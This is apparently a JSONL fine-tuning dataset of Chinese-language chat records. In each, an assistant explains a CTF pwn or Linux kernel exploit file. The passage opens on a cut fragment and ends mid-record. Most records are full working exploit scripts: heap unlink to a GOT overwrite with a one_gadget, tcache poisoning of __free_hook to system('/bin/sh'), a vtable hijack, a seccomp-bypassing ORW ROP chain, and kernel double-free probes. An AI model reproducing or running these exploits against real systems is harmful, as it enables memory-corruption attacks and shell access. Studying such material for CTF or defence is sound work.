"IO-FILE/house of apple2/2025hgame where is the vulnerability/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-793999b2332ae0562467", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2026d3ctf-d3kheap2pro/make_run_image.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2026d3ctf-d3kheap2pro/make_run_image.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/sh\nset -eu\nmode=${1:-targeted-scan}\nspray=${2:-64}\nstart=${3:-176}\nout=${4:-/tmp/d3k-auto.raw}\ncp rootfs.raw \"$out\"\ncat > /tmp/initrunner </tmp/d3k-debugfs.log 2>&1 || true\ndebugfs -w -R \"set_inode_field /root/xcache_probe mode 0100777\" \"$out\" >>/tmp/d3k-debugfs.log 2>&1 || true\ndebugfs -w -R \"write /tmp/initrunner /initrunner\" \"$out\" >>/tmp/d3k-debugfs.log 2>&1\ndebugfs -w -R \"set_inode_field /initrunner mode 0100777\" \"$out\" >>/tmp/d3k-debugfs.log 2>&1\ncat /tmp/d3k-debugfs.log\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-af6bc89fbb7da29b", "original_line": 292, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/make_run_image.sh", "split": "train", "split_group_key": "bb7067e86cbc1124d0e8f682"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/make_run_image.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7a58b91a9327383d8ea1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/unlink/2016_zctf_note2/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/unlink/2016_zctf_note2/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `dele`\n- `edit`\n- `get_sb`\n- `show`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x413d4`, `0x602120`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./note2')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(length, content):\n    ru('option--->>')\n    sl('1')\n    ru('(less than 128)')\n    sl(str(length))\n    ru('content:')\n    sl(content)\n\n\ndef show(id):\n    ru('option--->>')\n    sl('2')\n    ru('note:')\n    sl(str(id))\n\n\ndef edit(id, choice, s):\n    ru('option--->>')\n    sl('3')\n    ru('note:')\n    sl(str(id))\n    ru('2.append]')\n    sl(str(choice))\n    sl(s)\n\n\ndef dele(id):\n    ru('option--->>')\n    sl('4')\n    ru('note:')\n    sl(str(id))\n\ndbg()\nru('name:')\nsl('hello')\nru('address:')\nsl('hello')\n\nptr=0x602120\nfake_fd=ptr-0x18\nfake_bk=ptr-0x10\ncontent=p64(0)+p64(0xa1)+p64(fake_fd)+p64(fake_bk)\nadd(0x80,content)\nadd(0,'aa')\nadd(0x80,'aa')\n\ndele(1)\ncontent_1=p64(0)*2+p64(0xa0)+p64(0x90)\nadd(0,content_1)\ndele(2)\npayload=0x18*b'a'+p64(elf.got.free)\nedit(0,1,payload)\n\nshow(0)\nlibc.address=uu64()-libc.sym.free\nlg(\"libc base\",libc.address)\n\nsys,sh=get_sb()\none_gadget=libc.address+0x413d4\nedit(0,1,p64(one_gadget))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-e40980e39882599f", "original_line": 40, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/2016_zctf_note2/exp.py", "split": "train", "split_group_key": "b400a6fd22136884870aaeef"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/2016_zctf_note2/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7b58fe2142b7481178f3", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/PivotFinder.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/PivotFinder.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n/**\n * @defgroup pivot_classes Pivot Classes\n * @brief Classes for stack pivoting and related techniques.\n */\n\n/**\n * @ingroup pivot_classes\n * @brief Encapsulates information about a successful ROP pivot.\n */\nstruct RopPivotInfo {\n    /** @brief The ROP chain being pivoted to. */\n    const RopChain& rop;\n    /** @brief The chosen stack pivot gadget. */\n    StackPivot pivot;\n    /** @brief The minimum required offset for the ROP chain after shifting. */\n    uint64_t rop_min_offset;\n    /** @brief The actual offset within the payload where the ROP chain is placed. */\n    uint64_t rop_offset;\n    /** @brief Information about the stack shifting performed. */\n    StackShiftingInfo stack_shift;\n\n    /**\n     * @brief Prints debug information about the ROP pivot.\n     *\n     * This includes details about the selected stack pivot, stack shifts, and ROP chain offset.\n     */\n    // TODO: make this more universal\n    void PrintDebugInfo() const;\n};\n\n/**\n * @ingroup pivot_classes\n * @class PivotFinder\n * @brief Finds suitable stack pivots and stack shifting gadgets within a payload.\n */\nclass PivotFinder {\n    Pivots pivots_;\n    std::set buf_regs_;\n    Payload& payload_;\n\n    /**\n     * @brief Internal helper function to find stack pivot gadgets.\n     *\n     * This function searches for both one-gadget and push/indirect/pop RSP\n     * style pivots that are compatible with the current payload state and buffer registers.\n     *\n     * @param only_one If true, stops after finding the first suitable pivot.\n     * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset.\n     * @return A vector of found StackPivot objects.\n     */\n    std::vector FindInternal(bool only_one,\n                                         uint64_t free_bytes_after = 0);\n\n    /**\n     * @brief Sorts the internal lists of pivot gadgets by their next RIP offset or shift amount.\n     *\n     * Sorting helps in finding the most suitable gadgets efficiently.\n     */\n    void SortFields();\n\npublic:\n    /**\n     * @brief Constructs a PivotFinder object with a single buffer register.\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n     * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset.\n                        uint64_t free_bytes_after = 0);\n     * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset.\n                            uint64_t free_bytes_after = 0);\n     * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset.\n    std::optional Find(uint64_t free_bytes_after = 0);\n     * offset that meets either the minimum target offset or provides sufficient free space.\n     * @param min_next_space An optional minimum required free space at the final stack pointer offset.\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-72a9d2d076d2641f", "original_line": 302, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/PivotFinder.h", "split": "train", "split_group_key": "aaef6e391ca876597b43f5ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/PivotFinder.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7bde3571600d00ade215", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/off-by-one/2024ylb-null/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/off-by-one/2024ylb-null/exp_cli.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `add`\n- `delete`\n- `edit`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x100`, `0x170`, `0x270`, `0x3ebca0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nmenu=b':'\ndef add(idx,size):\n    sla(menu,str(1))\n    sla(\"Index: \",str(idx))\n    sla(\"Size \",str(size))\n\ndef delete(idx):\n    sla(menu,str(4))\n    sla(\"Index: \",str(idx))\n\ndef show(idx):\n    sla(menu,str(3))\n    sla(\"Index: \",str(idx))\n\ndef edit(idx,cont):\n    sla(menu,str(2))\n    sla(\"Index: \",str(idx))\n    sla(\"Content: \",cont)\n\nadd(0, 0xF8)\nadd(1, 0x68)\nadd(2, 0xF8)\nfor i in range(3, 10):#3-9\n    add(i, 0xF8)\nadd(12, 0x68)\nfor i in range(3, 10):#3-9\n    delete(i)\ndelete(0)\ndelete(1)\n'''\n保证0要是free chunk,这样1的prev_size会存0的chunk size,同时unlink第二个检查也会过\n'''\n#2的prev_size为0x170,同时PREV_INUSE=0\nadd(1,0x68)\nedit(1,b'a' * 0x60 + p64(0x170))\n#delete(2)会unlink前面overlapping chunk一起到unsorted bin，unsorted bin中chunk大小为0x270\ndelete(2)\nadd(0, 0x70)\nadd(2, 0x70)\n#前两个chunk大小总和为0x100，unsortedbin的fd刚好是原本的1\n# dbg()\nshow(1)\nru(b'Content: ')\nlibcbase=u64(ru('\\x7f')[-6:].ljust(8, b'\\x00'))-0x3ebca0\nprint(hex(libcbase))\n#此时chunklist中3和1的是相同的\nadd(3, 0x68)\nfree_hook=libcbase+libc.sym['__free_hook']\nsystem=libcbase+libc.sym['system']\n\n#tcache poison\ndelete(3)\nedit(1,p64(free_hook))\nadd(9,0x68)\nedit(9,b'/bin/sh\\x00')\nadd(10,0x68)\nedit(10,p64(system))\ndelete(9)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-b7ee16a1ddd1b0be", "original_line": 18, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/exp_cli.py", "split": "train", "split_group_key": "2ebc1dafb0e724cbb8cc5e49"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7c36061857d778e61c4a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「ROP 链」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## ROP 链\n\n因为 seccomp 限制，ROP 用 ORW。先关闭 fd 0，再 `open(\"flag\", 0)`，这样新打开的 flag 文件会复用 fd 0，方便后续 `read(0, ...)`：\n\n```python\nrop = flat([\n    pop_rdi, 0, close,\n    pop_rdi, flag_addr, pop_rsi, 0, pop_rax, 2, syscall_ret,\n    pop_rdi, 0, pop_rsi, flag_addr, pop_rdx_r12, 0x50, 0, read,\n    pop_rdi, 1, write,\n])\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-022bc5ec6b619aaf", "original_line": 221, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7cde86fb4685df143820", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「总结」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 总结\n\n本题不是 FSOP / House of Apple，而是高版本 glibc 下很典型的：\n\n```text\nUAF\n=> leak heap\n=> leak libc from unsorted bin\n=> safe-linking tcache poisoning\n=> overwrite tcache_perthread_struct.counts\n=> malloc to environ leak stack\n=> malloc to global flag restore hidden backdoor\n=> malloc to stack return address\n=> ret2win: system(\"/bin/sh\")\n```\n\n关键点有三个：\n\n1. `show` 泄露的数据做了逐字节 XOR，需要先还原。\n2. tcache poisoning 必须满足 safe-linking 编码：`target ^ (heap_base >> 12)`。\n3. exp 通过修改 `tcache_perthread_struct.counts` 维持伪造链可用，再把分配目标依次打到 `environ`、`pie+0x4010` 和栈返回地址。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-40d4567a957b0ee2", "original_line": 134, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7d151fc5cf44efb44506", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/close绕过fd参数检查/vuln.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/close绕过fd参数检查/vuln.c`\n\n分类：seccomp\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n- `sandbox`\n- `vuln`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`, `0x200`, `0x00000000`, `0x00000002`, `0x00000004`, `0x00000010`, `0x00000014`, `0x0000003b`, `0x000000e7`, `0x00000110`, `0x7fff0000`, `0xc000003e`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n\nvoid sandbox() {\n    // 定义过滤器规则\n    struct sock_filter filter[] = {\n        {0x20, 0x00, 0x00, 0x00000004},\n        {0x15, 0x00, 0x04, 0xc000003e},\n        {0x20, 0x00, 0x00, 0x00000000},\n        {0x15, 0x00, 0x01, 0x000000e7},\n        {0x06, 0x00, 0x00, 0x7fff0000},\n        {0x25, 0x00, 0x01, 0x00000110},\n        {0x06, 0x00, 0x00, 0x00000000},\n        {0x15, 0x00, 0x01, 0x00000002},\n        {0x06, 0x00, 0x00, 0x00000000},\n        {0x15, 0x00, 0x05, 0x00000000},\n        {0x20, 0x00, 0x00, 0x00000014},\n        {0x15, 0x00, 0x04, 0x00000000},\n        {0x20, 0x00, 0x00, 0x00000010},\n        {0x15, 0x00, 0x02, 0x00000000},\n        {0x06, 0x00, 0x00, 0x7fff0000},\n        {0x15, 0x00, 0x01, 0x0000003b},\n        {0x06, 0x00, 0x00, 0x00000000},\n        {0x06, 0x00, 0x00, 0x7fff0000}\n    };\n\n    struct sock_fprog prog = {\n        .len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),\n        .filter = filter,\n    };\n\n    // 确保进程无法获取新的权限\n    prctl(PR_SET_NO_NEW_PRIVS, SECCOMP_MODE_STRICT, 0LL, 0LL, 0LL);\n\n    // 设置 seccomp 过滤器\n    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);\n}\n\nvoid vuln() {\n    char buf[0x100];\n    puts(\"please input:\");\n    read(0, buf, 0x200);\n}\n\nint main() {\n    sandbox();\n    vuln();\n    return 0;\n}\n// gcc pwn.c -o pwn -no-pie -fno-stack-protector\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-dba1f94cf89a9ff8", "original_line": 504, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/close绕过fd参数检查/vuln.c", "split": "train", "split_group_key": "8c613c94ddc08fe2af06e860"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/close绕过fd参数检查/vuln.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7d6288c8bf02a01fa371", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2024ccb anote/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2024ccb anote/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `edit`\n- `show`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x80489CE`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ncontext.binary = elf = ELF(\"./note\", checksec=False)\ncontext.log_level = \"info\"\n\nBACKDOOR = 0x80489CE\n\ndef add():\n    io.sendlineafter(b\"Choice>>\", b\"1\")\n\ndef show(idx: int) -> int:\n    io.sendlineafter(b\"Choice>>\", b\"2\")\n    io.sendlineafter(b\"index:\", str(idx).encode())\n    io.recvuntil(b\"gift: \")\n    return int(io.recvline().strip(), 16)\n\n\ndef edit(idx: int, size: int, data: bytes):\n    io.sendlineafter(b\"Choice>>\", b\"3\")\n    io.sendlineafter(b\"index:\", str(idx).encode())\n    io.sendlineafter(b\"len:\", str(size).encode())\n    io.sendlineafter(b\"content:\", data)\n\n\nio = process(elf.path)\n\n# note object layout:\n#   +0x00 vptr\n#   +0x04 index\n#   +0x08 content[0x14]\n#\n# operator new(0x1c) gives chunks 0x20 bytes apart under this glibc.\n# edit() allows n <= 0x28 and memcpy(obj + 8, src, n), so writing 0x1c bytes\n# into obj0 reaches obj1->vptr exactly:\n#\n#   obj0+0x08 fake_vtable[0] = backdoor\n#   obj0+0x1c next chunk metadata size = 0x21\n#   obj0+0x20 == obj1; overwrite obj1->vptr = obj0+0x08\n\nadd()\nadd()\n\nobj0 = show(0)\nlog.success(f\"obj0 leak: {obj0:#x}\")\n\nfake_vtable = obj0 + 0x8\npayload = flat(\n    BACKDOOR,          # fake_vtable[0] => backdoor()\n    b\"A\" * 0x10,       # fill obj0 content\n    0x21,              # preserve next chunk size\n    fake_vtable,       # obj1->vptr\n)\nassert len(payload) == 0x1C\n\nedit(0, len(payload), payload)\n\n# menu option 3 performs:\n#   sub_8048A86(obj, src, idx, len)\n#   call *(*obj)\n# obj1->vptr now points to our fake table, so this calls system(\"/bin/sh\").\nedit(1, 0, b\"\")\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-8b4033374d0ed407", "original_line": 415, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/exp.py", "split": "train", "split_group_key": "8fa815b38a3f01dcb3ebbcba"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7d99341263e956b7a584", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2026d3ctf-d3kheap2pro/primitive_probe.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2026d3ctf-d3kheap2pro/primitive_probe.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `alloc_slot`\n- `die`\n- `do_ioctl`\n- `free_slot`\n- `logi`\n- `main`\n- `mode_alias`\n- `mode_double_free`\n- `mode_pool`\n- `mode_safe`\n- `open_dev`\n- `pin_cpu0`\n- `show_ret`\n- `slab_info`\n- `usage`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- kernel\n\n关键常量/偏移样例：\n`0x200`, `0x3361626e`, `0x4e575046`, `0x54433344`, `0x74747261`\n\n训练用代码片段：\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define DEV_PATH  \"/proc/d3kheap2pro\"\n#define CMD_ALLOC 0x3361626eU  /* little-endian ASCII: \"nba3\" */\n#define CMD_FREE  0x74747261U  /* little-endian ASCII: \"artt\" */\n#define CMD_FPWN  0x4e575046U  /* stub */\n#define CMD_D3CT  0x54433344U  /* stub */\n\nstruct req { size_t idx; };\n\nstatic int fd = -1;\n\nstatic void die(const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    fprintf(stderr, \"[-] \");\n    vfprintf(stderr, fmt, ap);\n    fprintf(stderr, \": %s\\n\", strerror(errno));\n    va_end(ap);\n    exit(1);\n}\n\nstatic void logi(const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    vfprintf(stdout, fmt, ap);\n    fputc('\\n', stdout);\n    fflush(stdout);\n    va_end(ap);\n}\n\nstatic void pin_cpu0(void) {\n    cpu_set_t set;\n    CPU_ZERO(&set);\n    CPU_SET(0, &set);\n    sched_setaffinity(0, sizeof(set), &set);\n}\n\nstatic void open_dev(void) {\n    fd = open(DEV_PATH, O_RDONLY);\n    if (fd < 0) die(\"open %s\", DEV_PATH);\n}\n\nstatic long do_ioctl(unsigned int cmd, size_t idx) {\n    struct req r = { .idx = idx };\n    errno = 0;\n    return ioctl(fd, cmd, &r);\n}\n\nstatic long alloc_slot(size_t idx) { return do_ioctl(CMD_ALLOC, idx); }\nstatic long free_slot(size_t idx)  { return do_ioctl(CMD_FREE, idx); }\n\nstatic void show_ret(const char *op, size_t idx, long ret) {\n    if (ret < 0) logi(\"%-18s idx=%zu ret=%ld errno=%d(%s)\", op, idx, ret, errno, strerror(errno));\n    else         logi(\"%-18s idx=%zu ret=%ld\", op, idx, ret);\n}\n\nstatic void slab_info(void) {\n    char buf[512];\n    ssize_t n = readlink(\"/sys/kernel/slab/d3kheap2pro_cache\", buf, sizeof(buf) - 1);\n    if (n >= 0) {\n        buf[n] = 0;\n        logi(\"[+] /sys/kernel/slab/d3kheap2pro_cache -> %s\", buf);\n    } else {\n        logi(\"[!] readlink slab cache failed: %s\", strerror(errno));\n    }\n\n    const char *files[] = {\"aliases\", \"object_size\", \"objs_per_slab\", \"order\", \"reclaim_account\", \"hwcache_align\", NULL};\n    for (int i = 0; files[i]; i++) {\n        char path[256];\n        snprintf(path, sizeof(path), \"/sys/kernel/slab/d3kheap2pro_cache/%s\", files[i]);\n        int f = open(path, O_RDONLY);\n        if (f < 0) {\n            logi(\"[.] %-14s unreadable (%s)\", files[i], strerror(errno));\n            continue;\n        }\n        memset(buf, 0, sizeof(buf));\n        n = read(f, buf, sizeof(buf) - 1);\n        close(f);\n        if (n > 0) {\n            while (n > 0 && (buf[n-1] == '\\n' || buf[n-1] == '\\r')) buf[--n] = 0;\n            logi(\"[+] %-14s %s\", files[i], buf);\n        }\n    }\n}\n\nstatic void mode_safe(void) {\n    logi(\"[+] Safe ioctl smoke test\");\n    show_ret(\"alloc\", 500, alloc_slot(500));\n    show_ret(\"alloc again\", 500, alloc_slot(500));\n    show_ret(\"free\", 500, free_slot(500));\n    show_ret(\"free empty/high\", 0x200, free_slot(0x200));\n    show_ret(\"FPWN stub\", 0, do_ioctl(CMD_FPWN, 0));\n    show_ret(\"D3CT stub\", 0, do_ioctl(CMD_D3CT, 0));\n}\n\nstatic void mode_double_free(void) {\n    logi(\"[+] Direct double-free trigger: alloc(0), free(0), free(0)\");\n    logi(\"[!] This is the minimal crashing/bug trigger from README.md.\");\n    show_ret(\"alloc\", 0, alloc_slot(0));\n    show_ret(\"free #1\", 0, free_slot(0));\n    show_ret(\"free #2\", 0, free_slot(0));\n    logi(\"[+] If the VM is still alive, SLUB did not panic on this run.\");\n}\n\nstatic void mode_alias(void) {\n    logi(\"[+] Alias/dangling-slot sequence\");\n    logi(\"    alloc(16) -> free(16) -> alloc(17) -> free(16) -> free(17)\");\n    show_ret(\"alloc\", 16, alloc_slot(16));\n    show_ret(\"free stale prep\", 16, free_slot(16));\n    show_ret(\"alloc possible alias\", 17, alloc_slot(17));\n    show_ret(\"free stale slot\", 16, free_slot(16));\n    show_ret(\"free live/alias\", 17, free_slot(17));\n    logi(\"[+] Done. Check console/dmesg in a debug run for allocator diagnostics.\");\n}\n\nstatic void mode_pool(void) {\n    enum { BASE = 64, N = 64 };\n    